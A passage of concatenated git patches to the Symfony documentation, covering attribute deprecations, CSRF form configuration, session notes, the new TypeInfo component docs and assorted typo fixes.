the response. Using this token, you can access the profile of any past response thanks to the @@ -110,6 +114,8 @@ need to create a custom data collector. Instead, use the built-in utilities to Consider using a professional profiler such as `Blackfire`_ to measure and analyze the execution of your application in detail. +.. _enabling_the_profiler_conditionally_tag: + Enabling the Profiler Conditionally ----------------------------------- From a84f46600d45ed7deeca2c72ac76003a1f83c5c4 Mon Sep 17 00:00:00 2001 From: novah77 <novah.dev.symfony@gmail.com> Date: Thu, 20 Jun 2024 04:59:40 +0300 Subject: [PATCH 284/615] Update serializer.rst In the sub title Attributes Groups, the text using annotations should be using attributes. --- components/serializer.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/serializer.rst b/components/serializer.rst index 0e891cc961c..ae0442a3e5c 100644 --- a/components/serializer.rst +++ b/components/serializer.rst @@ -264,7 +264,7 @@ Assume you have the following plain-old-PHP object:: } } -The definition of serialization can be specified using annotations, XML +The definition of serialization can be specified using attributes, XML or YAML. The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory` that will be used by the normalizer must be aware of the format to use. From 230dc2c79300766ae743f5ce9c2d82101a10d6c5 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 28 Jun 2024 16:43:53 +0200 Subject: [PATCH 285/615] - --- components/serializer.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/serializer.rst b/components/serializer.rst index ae0442a3e5c..2fa544860c3 100644 --- a/components/serializer.rst +++ b/components/serializer.rst @@ -264,7 +264,7 @@ Assume you have the following plain-old-PHP object:: } } -The definition of serialization can be specified using attributes, XML +The definition of serialization can be specified using annotations, attributes, XML or YAML. The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory` that will be used by the normalizer must be aware of the format to use. From 28070e85a3ea9ff4357150604d03c1582811b26c Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 28 Jun 2024 16:44:59 +0200 Subject: [PATCH 286/615] [Serializer] Remove any mention to annotations --- components/serializer.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/components/serializer.rst b/components/serializer.rst index c23e6300a4d..40a114b543e 100644 --- a/components/serializer.rst +++ b/components/serializer.rst @@ -264,8 +264,8 @@ Assume you have the following plain-old-PHP object:: } } -The definition of serialization can be specified using annotations, attributes, XML -or YAML. The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory` +The definition of serialization can be specified using attributes, XML or YAML. +The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory` that will be used by the normalizer must be aware of the format to use. The following code shows how to initialize the :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory` From d669eb32e6af05f5f34ce3953abf385336eeaed3 Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Sun, 30 Jun 2024 16:16:58 +0200 Subject: [PATCH 287/615] deprecate TaggedIterator and TaggedLocator attributes --- reference/attributes.rst | 8 +++++++ .../service_subscribers_locators.rst | 24 ++++++++++++++----- service_container/tags.rst | 24 +++++++++---------- 3 files changed, 38 insertions(+), 18 deletions(-) diff --git a/reference/attributes.rst b/reference/attributes.rst index 4428dc4c587..ba34afd524d 100644 --- a/reference/attributes.rst +++ b/reference/attributes.rst @@ -44,6 +44,14 @@ Dependency Injection * :ref:`Target <autowiring-multiple-implementations-same-type>` * :ref:`When <service-container_limiting-to-env>` +.. deprecated:: 7.1 + + The + :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator` + and + :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator` + were deprecated in Symfony 7.1. + EventDispatcher ~~~~~~~~~~~~~~~ diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst index 25ebe97e7e7..9c36f8c82cd 100644 --- a/service_container/service_subscribers_locators.rst +++ b/service_container/service_subscribers_locators.rst @@ -307,6 +307,18 @@ This is done by having ``getSubscribedServices()`` return an array of ]; } +.. deprecated:: 7.1 + + The + :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator` + and + :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator` + were deprecated in Symfony 7.1. + :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator` + and + :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator` + should be used instead. + .. note:: The above example requires using ``3.2`` version or newer of ``symfony/service-contracts``. @@ -432,13 +444,13 @@ or directly via PHP attributes: namespace App; use Psr\Container\ContainerInterface; - use Symfony\Component\DependencyInjection\Attribute\TaggedLocator; + use Symfony\Component\DependencyInjection\Attribute\AutowireLocator; class CommandBus { public function __construct( // creates a service locator with all the services tagged with 'app.handler' - #[TaggedLocator('app.handler')] + #[AutowireLocator('app.handler')] private ContainerInterface $locator, ) { } @@ -674,12 +686,12 @@ to index the services: namespace App; use Psr\Container\ContainerInterface; - use Symfony\Component\DependencyInjection\Attribute\TaggedLocator; + use Symfony\Component\DependencyInjection\Attribute\AutowireLocator; class CommandBus { public function __construct( - #[TaggedLocator('app.handler', indexAttribute: 'key')] + #[AutowireLocator('app.handler', indexAttribute: 'key')] private ContainerInterface $locator, ) { } @@ -789,12 +801,12 @@ get the value used to index the services: namespace App; use Psr\Container\ContainerInterface; - use Symfony\Component\DependencyInjection\Attribute\TaggedLocator; + use Symfony\Component\DependencyInjection\Attribute\AutowireLocator; class CommandBus { public function __construct( - #[TaggedLocator('app.handler', 'defaultIndexMethod: 'getLocatorKey')] + #[AutowireLocator('app.handler', 'defaultIndexMethod: 'getLocatorKey')] private ContainerInterface $locator, ) { } diff --git a/service_container/tags.rst b/service_container/tags.rst index 1900ce28fb2..68509bc5620 100644 --- a/service_container/tags.rst +++ b/service_container/tags.rst @@ -674,13 +674,13 @@ directly via PHP attributes: // src/HandlerCollection.php namespace App; - use Symfony\Component\DependencyInjection\Attribute\TaggedIterator; + use Symfony\Component\DependencyInjection\Attribute\AutowireIterator; class HandlerCollection { public function __construct( // the attribute must be applied directly to the argument to autowire - #[TaggedIterator('app.handler')] + #[AutowireIterator('app.handler')] iterable $handlers ) { } @@ -766,12 +766,12 @@ iterator, add the ``exclude`` option: // src/HandlerCollection.php namespace App; - use Symfony\Component\DependencyInjection\Attribute\TaggedIterator; + use Symfony\Component\DependencyInjection\Attribute\AutowireIterator; class HandlerCollection { public function __construct( - #[TaggedIterator('app.handler', exclude: ['App\Handler\Three'])] + #[AutowireIterator('app.handler', exclude: ['App\Handler\Three'])] iterable $handlers ) { } @@ -849,12 +849,12 @@ disabled by setting the ``exclude_self`` option to ``false``: // src/HandlerCollection.php namespace App; - use Symfony\Component\DependencyInjection\Attribute\TaggedIterator; + use Symfony\Component\DependencyInjection\Attribute\AutowireIterator; class HandlerCollection { public function __construct( - #[TaggedIterator('app.handler', exclude: ['App\Handler\Three'], excludeSelf: false)] + #[AutowireIterator('app.handler', exclude: ['App\Handler\Three'], excludeSelf: false)] iterable $handlers ) { } @@ -999,12 +999,12 @@ you can define it in the configuration of the collecting service: // src/HandlerCollection.php namespace App; - use Symfony\Component\DependencyInjection\Attribute\TaggedIterator; + use Symfony\Component\DependencyInjection\Attribute\AutowireIterator; class HandlerCollection { public function __construct( - #[TaggedIterator('app.handler', defaultPriorityMethod: 'getPriority')] + #[AutowireIterator('app.handler', defaultPriorityMethod: 'getPriority')] iterable $handlers ) { } @@ -1073,12 +1073,12 @@ to index the services: // src/HandlerCollection.php namespace App; - use Symfony\Component\DependencyInjection\Attribute\TaggedIterator; + use Symfony\Component\DependencyInjection\Attribute\AutowireIterator; class HandlerCollection { public function __construct( - #[TaggedIterator('app.handler', indexAttribute: 'key')] + #[AutowireIterator('app.handler', indexAttribute: 'key')] iterable $handlers ) { } @@ -1187,12 +1187,12 @@ get the value used to index the services: // src/HandlerCollection.php namespace App; - use Symfony\Component\DependencyInjection\Attribute\TaggedIterator; + use Symfony\Component\DependencyInjection\Attribute\AutowireIterator; class HandlerCollection { public function __construct( - #[TaggedIterator('app.handler', defaultIndexMethod: 'getIndex')] + #[AutowireIterator('app.handler', defaultIndexMethod: 'getIndex')] iterable $handlers ) { } From 4add5c3a84584eca7fedf90addd32861fef651e7 Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Sun, 30 Jun 2024 17:11:46 +0200 Subject: [PATCH 288/615] update Url constraint --- reference/constraints/Url.rst | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst index b3a46d5aec4..6e93a284aa7 100644 --- a/reference/constraints/Url.rst +++ b/reference/constraints/Url.rst @@ -317,6 +317,11 @@ also relative URLs that contain no protocol (e.g. ``//example.com``). The ``requiredTld`` option was introduced in Symfony 7.1. +.. deprecated:: 7.1 + + Not setting the ``requireTld`` option is deprecated since Symfony 7.1 + and will default to ``true`` in Symfony 8.0. + By default, URLs like ``https://aaa`` or ``https://foobar`` are considered valid because they are tecnically correct according to the `URL spec`_. If you set this option to ``true``, the host part of the URL will have to include a TLD (top-level domain From 4ae71900e4ec8f6f162b8279c5059520c200cb78 Mon Sep 17 00:00:00 2001 From: Hugo Posnic <hugo.posnic@protonmail.com> Date: Sun, 30 Jun 2024 21:42:49 +0200 Subject: [PATCH 289/615] Update Url.rst --- reference/constraints/Url.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst index b3a46d5aec4..f23bbf66a74 100644 --- a/reference/constraints/Url.rst +++ b/reference/constraints/Url.rst @@ -315,7 +315,7 @@ also relative URLs that contain no protocol (e.g. ``//example.com``). .. versionadded:: 7.1 - The ``requiredTld`` option was introduced in Symfony 7.1. + The ``requireTld`` option was introduced in Symfony 7.1. By default, URLs like ``https://aaa`` or ``https://foobar`` are considered valid because they are tecnically correct according to the `URL spec`_. If you set this option From d85d5ee561480163a5cda0d5b31083e15bc68406 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 1 Jul 2024 08:49:09 +0200 Subject: [PATCH 290/615] Minor tweaks --- reference/attributes.rst | 8 +++----- service_container/service_subscribers_locators.rst | 12 ++++-------- 2 files changed, 7 insertions(+), 13 deletions(-) diff --git a/reference/attributes.rst b/reference/attributes.rst index ba34afd524d..b1f2f9c5d55 100644 --- a/reference/attributes.rst +++ b/reference/attributes.rst @@ -46,11 +46,9 @@ Dependency Injection .. deprecated:: 7.1 - The - :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator` - and - :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator` - were deprecated in Symfony 7.1. + The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator` + and :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator` + attributes were deprecated in Symfony 7.1. EventDispatcher ~~~~~~~~~~~~~~~ diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst index 9c36f8c82cd..e040ac2b972 100644 --- a/service_container/service_subscribers_locators.rst +++ b/service_container/service_subscribers_locators.rst @@ -309,15 +309,11 @@ This is done by having ``getSubscribedServices()`` return an array of .. deprecated:: 7.1 - The - :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator` - and - :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator` - were deprecated in Symfony 7.1. + The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator` + and :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator` + attributes were deprecated in Symfony 7.1 in favor of :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator` - and - :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator` - should be used instead. + and :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`. .. note:: From 4412af03f68ae209c2bb83b94962f90a38b3920d Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 1 Jul 2024 09:00:49 +0200 Subject: [PATCH 291/615] [Create Framework] Fix a call to setTrustedProxies() --- create_framework/http_foundation.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst index dd838e9a5e2..4406dde64a0 100644 --- a/create_framework/http_foundation.rst +++ b/create_framework/http_foundation.rst @@ -255,7 +255,7 @@ code in production without a proxy, it becomes trivially easy to abuse your system. That's not the case with the ``getClientIp()`` method as you must explicitly trust your reverse proxies by calling ``setTrustedProxies()``:: - Request::setTrustedProxies(['10.0.0.1']); + Request::setTrustedProxies(['10.0.0.1'], Request::HEADER_X_FORWARDED_FOR); if ($myIp === $request->getClientIp()) { // the client is a known one, so give it some more privilege From a06acbc7943b72e76c1ec41608a3cd58cf96200f Mon Sep 17 00:00:00 2001 From: Fabien Potencier <fabien@potencier.org> Date: Mon, 1 Jul 2024 12:09:27 +0200 Subject: [PATCH 292/615] Remove the recipes team --- contributing/code/core_team.rst | 7 ------- 1 file changed, 7 deletions(-) diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst index 6cef3400384..0a2324b08a3 100644 --- a/contributing/code/core_team.rst +++ b/contributing/code/core_team.rst @@ -36,8 +36,6 @@ In addition, there are other groups created to manage specific topics: * **Security Team**: manages the whole security process (triaging reported vulnerabilities, fixing the reported issues, coordinating the release of security fixes, etc.) -* **Recipes Team**: manages the recipes in the main and contrib recipe repositories. - * **Documentation Team**: manages the whole `symfony-docs repository`_. Active Core Members @@ -77,11 +75,6 @@ Active Core Members * **Michael Cullum** (`michaelcullum`_); * **Jérémy Derussé** (`jderusse`_). -* **Recipes Team**: - - * **Fabien Potencier** (`fabpot`_); - * **Tobias Nyholm** (`Nyholm`_). - * **Documentation Team** (``@symfony/team-symfony-docs`` on GitHub): * **Fabien Potencier** (`fabpot`_); From dbb8dff878189f8c7efff541f949cbcf1ceee090 Mon Sep 17 00:00:00 2001 From: javaDeveloperKid <25783196+javaDeveloperKid@users.noreply.github.com> Date: Mon, 1 Jul 2024 13:58:24 +0200 Subject: [PATCH 293/615] Update routing.rst --- routing.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/routing.rst b/routing.rst index fa3f35fa7d1..cae941399f8 100644 --- a/routing.rst +++ b/routing.rst @@ -157,7 +157,7 @@ the ``BlogController``: .. note:: - By default Symfony only loads the routes defined in YAML format. If you + By default Symfony only loads the routes defined in YAML and PHP format. If you define routes in XML and/or PHP formats, you need to :ref:`update the src/Kernel.php file <configuration-formats>`. From e9f7375361f2601927d5e20b5c79271595c2a8fb Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 1 Jul 2024 14:59:21 +0200 Subject: [PATCH 294/615] Minor tweak --- routing.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/routing.rst b/routing.rst index cae941399f8..57a087b8cfa 100644 --- a/routing.rst +++ b/routing.rst @@ -157,8 +157,8 @@ the ``BlogController``: .. note:: - By default Symfony only loads the routes defined in YAML and PHP format. If you - define routes in XML and/or PHP formats, you need to + By default, Symfony loads the routes defined in both YAML and PHP formats. + If you define routes in XML format, you need to :ref:`update the src/Kernel.php file <configuration-formats>`. .. _routing-matching-http-methods: From 3fefb6aacdfa6f078e7b00216ffd670faffdb394 Mon Sep 17 00:00:00 2001 From: johan Vlaar <johan@adivare.nl> Date: Tue, 2 Jul 2024 13:58:30 +0200 Subject: [PATCH 295/615] Update impersonating_user.rst remove unneeded space --- security/impersonating_user.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst index 41351ab7798..36232243e1f 100644 --- a/security/impersonating_user.rst +++ b/security/impersonating_user.rst @@ -142,7 +142,7 @@ instance, to show a link to exit impersonation in a template: .. code-block:: html+twig {% if is_granted('IS_IMPERSONATOR') %} - <a href="{{ impersonation_exit_path(path('homepage') ) }}">Exit impersonation</a> + <a href="{{ impersonation_exit_path(path('homepage')) }}">Exit impersonation</a> {% endif %} .. versionadded:: 5.1 From 036a8a02236c4c6afc6b12a5c52c331aff8f1363 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 1 Jul 2024 09:41:29 +0200 Subject: [PATCH 296/615] [Form] Mention that enabling CSRF in forms will start sessions --- security/csrf.rst | 51 ++++++++++++++++++++++++++++++++++++++++++++++- session.rst | 14 +++++++------ 2 files changed, 58 insertions(+), 7 deletions(-) diff --git a/security/csrf.rst b/security/csrf.rst index fd89ff17ba9..752186e6bfc 100644 --- a/security/csrf.rst +++ b/security/csrf.rst @@ -72,6 +72,8 @@ protected forms. As an alternative, you can: load the CSRF token with an uncached AJAX request and replace the form field value with it. +.. _csrf-protection-forms: + CSRF Protection in Symfony Forms -------------------------------- @@ -82,7 +84,54 @@ protected against CSRF attacks. .. _form-csrf-customization: By default Symfony adds the CSRF token in a hidden field called ``_token``, but -this can be customized on a form-by-form basis:: +this can be customized (1) globally for all forms and (2) on a form-by-form basis. +Globally, you can configure it under the ``framework.form`` option: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + framework: + # ... + form: + csrf_protection: + enabled: true + field_name: 'custom_token_name' + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:form> + <framework:csrf-protection enabled="true" field-name="custom_token_name"/> + </framework:form> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework) { + $framework->form()->csrfProtection() + ->enabled(true) + ->fieldName('custom_token_name') + ; + }; + +On a form-by-form basis, you can configure the CSRF protection in the ``setDefaults()`` +method of each form:: // src/Form/TaskType.php namespace App\Form; diff --git a/session.rst b/session.rst index 08e1745d13c..8a8a3ec497c 100644 --- a/session.rst +++ b/session.rst @@ -110,13 +110,15 @@ By default, session attributes are key-value pairs managed with the :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag` class. -.. tip:: +Sessions are automatically started whenever you read, write or even check for +the existence of data in the session. This may hurt your application performance +because all users will receive a session cookie. In order to prevent starting +sessions for anonymous users, you must *completely* avoid accessing the session. + +.. note:: - Sessions are automatically started whenever you read, write or even check - for the existence of data in the session. This may hurt your application - performance because all users will receive a session cookie. In order to - prevent starting sessions for anonymous users, you must *completely* avoid - accessing the session. + Sessions will also be created when using features that rely on them internally, + such as the :ref:`CSRF protection in forms <csrf-protection-forms>`. .. _flash-messages: From f009a04c3b6035e898329ed34180ba91041111c1 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 2 Jul 2024 16:09:47 +0200 Subject: [PATCH 297/615] Minor tweak --- session.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/session.rst b/session.rst index 8a8a3ec497c..c03d9435baf 100644 --- a/session.rst +++ b/session.rst @@ -117,7 +117,7 @@ sessions for anonymous users, you must *completely* avoid accessing the session. .. note:: - Sessions will also be created when using features that rely on them internally, + Sessions will also be started when using features that rely on them internally, such as the :ref:`CSRF protection in forms <csrf-protection-forms>`. .. _flash-messages: From b6ffad3ce5e5b558c420f99a5852bd88b5f8ea69 Mon Sep 17 00:00:00 2001 From: Baptiste Leduc <baptiste.leduc@gmail.com> Date: Wed, 7 Feb 2024 10:11:28 +0100 Subject: [PATCH 298/615] [TypeInfo] Add documentation --- components/type_info.rst | 71 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 71 insertions(+) create mode 100644 components/type_info.rst diff --git a/components/type_info.rst b/components/type_info.rst new file mode 100644 index 00000000000..12960ff49d2 --- /dev/null +++ b/components/type_info.rst @@ -0,0 +1,71 @@ +The TypeInfo Component +====================== + + The TypeInfo component extracts PHP types information. It aims to: + + - Have a powerful Type definition that can handle union, intersections, and generics (and could be even more extended) + + - Being able to get types from anything, such as properties, method arguments, return types, and raw strings (and can also be extended). + +.. caution:: + + This component is :doc:`experimental </contributing/code/experimental>` and could be changed at any time + without prior notice. + +Installation +------------ + +.. code-block:: terminal + + $ composer require symfony/type-info + +.. include:: /components/require_autoload.rst.inc + +Usage +----- + +This component will gives you a :class:`Symfony\\Component\\TypeInfo\\Type` object that represents +the PHP type of whatever you builded or asked to resolve. + +There are two ways to use this component. First one is to create a type manually thanks +to :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following:: + + use Symfony\Component\TypeInfo\Type; + + Type::int(); + Type::nullable(Type::string()); + Type::generic(Type::object(Collection::class), Type::int()); + Type::list(Type::bool()); + Type::intersection(Type::object(\Stringable::class), Type::object(\Iterator::class)); + + // Many others are available and can be + // found in Symfony\Component\TypeInfo\TypeFactoryTrait + + +Second way to use TypeInfo is to resolve a type based on reflection or a simple string:: + + use Symfony\Component\TypeInfo\Type; + use Symfony\Component\TypeInfo\TypeResolver\TypeResolver; + + // Instantiate a new resolver + $typeResolver = TypeResolver::create(); + + // Then resolve types for any subject + $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns an "int" Type instance + $typeResolver->resolve('bool'); // returns a "bool" Type instance + + // Types can be instantiated thanks to static factories + $type = Type::list(Type::nullable(Type::bool())); + + // Type instances have several helper methods + $type->getBaseType() // returns an "array" Type instance + $type->getCollectionKeyType(); // returns an "int" Type instance + $type->getCollectionValueType()->isNullable(); // returns true + +Each of this rows will return you a Type instance that will corresponds to whatever static method you used to build it. +We also can resolve a type from a string like we can see in this example with the `'bool'` parameter it is mostly +designed that way so we can give TypeInfo a string from whatever was extracted from existing phpDoc within PropertyInfo. + +.. note:: + + To support raw string resolving, you need to install ``phpstan/phpdoc-parser`` package. From 6bb4ae9e19d8a8a7181db4d0d9bbf5815b9553e7 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 2 Jul 2024 16:52:12 +0200 Subject: [PATCH 299/615] Minor rewords --- components/type_info.rst | 30 +++++++++++++++++------------- 1 file changed, 17 insertions(+), 13 deletions(-) diff --git a/components/type_info.rst b/components/type_info.rst index 12960ff49d2..f3d1119b1af 100644 --- a/components/type_info.rst +++ b/components/type_info.rst @@ -1,16 +1,20 @@ The TypeInfo Component ====================== - The TypeInfo component extracts PHP types information. It aims to: +The TypeInfo component extracts type information from PHP elements like properties, +arguments and return types. - - Have a powerful Type definition that can handle union, intersections, and generics (and could be even more extended) +This component provides: - - Being able to get types from anything, such as properties, method arguments, return types, and raw strings (and can also be extended). +* A powerful ``Type`` definition that can handle unions, intersections, and generics + (and can be extended to support more types in the future); +* A way to get types from PHP elements such as properties, method arguments, + return types, and raw strings. .. caution:: - This component is :doc:`experimental </contributing/code/experimental>` and could be changed at any time - without prior notice. + This component is :doc:`experimental </contributing/code/experimental>` and + could be changed at any time without prior notice. Installation ------------ @@ -24,11 +28,11 @@ Installation Usage ----- -This component will gives you a :class:`Symfony\\Component\\TypeInfo\\Type` object that represents -the PHP type of whatever you builded or asked to resolve. +This component gives you a :class:`Symfony\\Component\\TypeInfo\\Type` object that +represents the PHP type of anything you built or asked to resolve. There are two ways to use this component. First one is to create a type manually thanks -to :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following:: +to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following:: use Symfony\Component\TypeInfo\Type; @@ -41,8 +45,8 @@ to :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following:: // Many others are available and can be // found in Symfony\Component\TypeInfo\TypeFactoryTrait - -Second way to use TypeInfo is to resolve a type based on reflection or a simple string:: +The second way of using the component is to use ``TypeInfo`` to resolve a type +based on reflection or a simple string:: use Symfony\Component\TypeInfo\Type; use Symfony\Component\TypeInfo\TypeResolver\TypeResolver; @@ -62,9 +66,9 @@ Second way to use TypeInfo is to resolve a type based on reflection or a simple $type->getCollectionKeyType(); // returns an "int" Type instance $type->getCollectionValueType()->isNullable(); // returns true -Each of this rows will return you a Type instance that will corresponds to whatever static method you used to build it. -We also can resolve a type from a string like we can see in this example with the `'bool'` parameter it is mostly -designed that way so we can give TypeInfo a string from whatever was extracted from existing phpDoc within PropertyInfo. +Each of this calls will return you a ``Type`` instance that corresponds to the +static method used. You can also resolve types from a string (as shown in the +``bool`` parameter of the previous example) .. note:: From 8e0643a9c8f7a5608b315245335ef89badee0f60 Mon Sep 17 00:00:00 2001 From: Jacob Dreesen <j.dreesen@neusta.de> Date: Tue, 2 Jul 2024 17:34:07 +0200 Subject: [PATCH 300/615] Fix typo in the new TypeInfo docs --- components/type_info.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/type_info.rst b/components/type_info.rst index f3d1119b1af..77e25451e6c 100644 --- a/components/type_info.rst +++ b/components/type_info.rst @@ -66,7 +66,7 @@ based on reflection or a simple string:: $type->getCollectionKeyType(); // returns an "int" Type instance $type->getCollectionValueType()->isNullable(); // returns true -Each of this calls will return you a ``Type`` instance that corresponds to the +Each of these calls will return you a ``Type`` instance that corresponds to the static method used. You can also resolve types from a string (as shown in the ``bool`` parameter of the previous example) From 09e7fab9107d5bd8d001598b9b7fdd7754f1d397 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 3 Jul 2024 09:27:30 +0200 Subject: [PATCH 301/615] [TypeInfo] Better explain the getBaseType() method --- components/type_info.rst | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/components/type_info.rst b/components/type_info.rst index 77e25451e6c..1c42a89b3c8 100644 --- a/components/type_info.rst +++ b/components/type_info.rst @@ -62,9 +62,20 @@ based on reflection or a simple string:: $type = Type::list(Type::nullable(Type::bool())); // Type instances have several helper methods - $type->getBaseType() // returns an "array" Type instance - $type->getCollectionKeyType(); // returns an "int" Type instance - $type->getCollectionValueType()->isNullable(); // returns true + + // returns the main type (e.g. in this example ir returns an "array" Type instance) + // for nullable types (e.g. string|null) returns the non-null type (e.g. string) + // and for compound types (e.g. int|string) it throws an exception because both types + // can be considered the main one, so there's no way to pick one + $baseType = $type->getBaseType(); + + // for collections, it returns the type of the item used as the key + // in this example, the collection is a list, so it returns and "int" Type instance + $keyType = $type->getCollectionKeyType(); + + // you can chain the utility methods e.g. to introspect the values of the collection + // the following code will return true + $isValueNullable = $type->getCollectionValueType()->isNullable(); Each of these calls will return you a ``Type`` instance that corresponds to the static method used. You can also resolve types from a string (as shown in the From 102bad6e2df20b8e42d3535e8436ce97d6bba6ba Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Sun, 7 Jul 2024 05:56:42 +0200 Subject: [PATCH 302/615] remove link to apc documentation --- performance.rst | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/performance.rst b/performance.rst index dc44757be64..cf41c814eb6 100644 --- a/performance.rst +++ b/performance.rst @@ -91,7 +91,7 @@ Use the OPcache Byte Code Cache OPcache stores the compiled PHP files to avoid having to recompile them for every request. There are some `byte code caches`_ available, but as of PHP 5.5, PHP comes with `OPcache`_ built-in. For older versions, the most widely -used byte code cache is `APC`_. +used byte code cache is APC. .. _performance-use-preloading: @@ -347,7 +347,6 @@ Learn more .. _`byte code caches`: https://en.wikipedia.org/wiki/List_of_PHP_accelerators .. _`OPcache`: https://www.php.net/manual/en/book.opcache.php .. _`Composer's autoloader optimization`: https://getcomposer.org/doc/articles/autoloader-optimization.md -.. _`APC`: https://www.php.net/manual/en/book.apc.php .. _`APCu Polyfill component`: https://github.com/symfony/polyfill-apcu .. _`APCu PHP functions`: https://www.php.net/manual/en/ref.apcu.php .. _`cachetool`: https://github.com/gordalina/cachetool From 3533f9606d13cd530568b05f4cd01ccad2a29f5f Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 2 Jul 2024 17:34:47 +0200 Subject: [PATCH 303/615] Add a short mention to apache-pack in the web server docs --- setup/web_server_configuration.rst | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst index 1f62d5e9af6..e5a0c9e7fd9 100644 --- a/setup/web_server_configuration.rst +++ b/setup/web_server_configuration.rst @@ -95,6 +95,14 @@ directive to pass requests for PHP files to PHP FPM: CustomLog /var/log/apache2/project_access.log combined </VirtualHost> +.. note:: + + If you are doing some quick tests with Apache, you can also run + ``composer require symfony/apache-pack``. This package creates an ``.htaccess`` + file in the ``public/`` directory with the necessary rewrite rules needed to serve + the Symfony application. However, in production, it's recommended to move these + rules to the main Apache configuration file (as shown above) to improve performance. + Nginx ----- From c827484499fe5affe3980a99b931798c53e190a9 Mon Sep 17 00:00:00 2001 From: Andrii Sukhoi <andrii.sukhoi@gmail.com> Date: Fri, 5 Jul 2024 17:19:32 +0200 Subject: [PATCH 304/615] Fix typo Change Whilst to While --- components/dependency_injection/compilation.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst index edaa8be8f47..beedbf33853 100644 --- a/components/dependency_injection/compilation.rst +++ 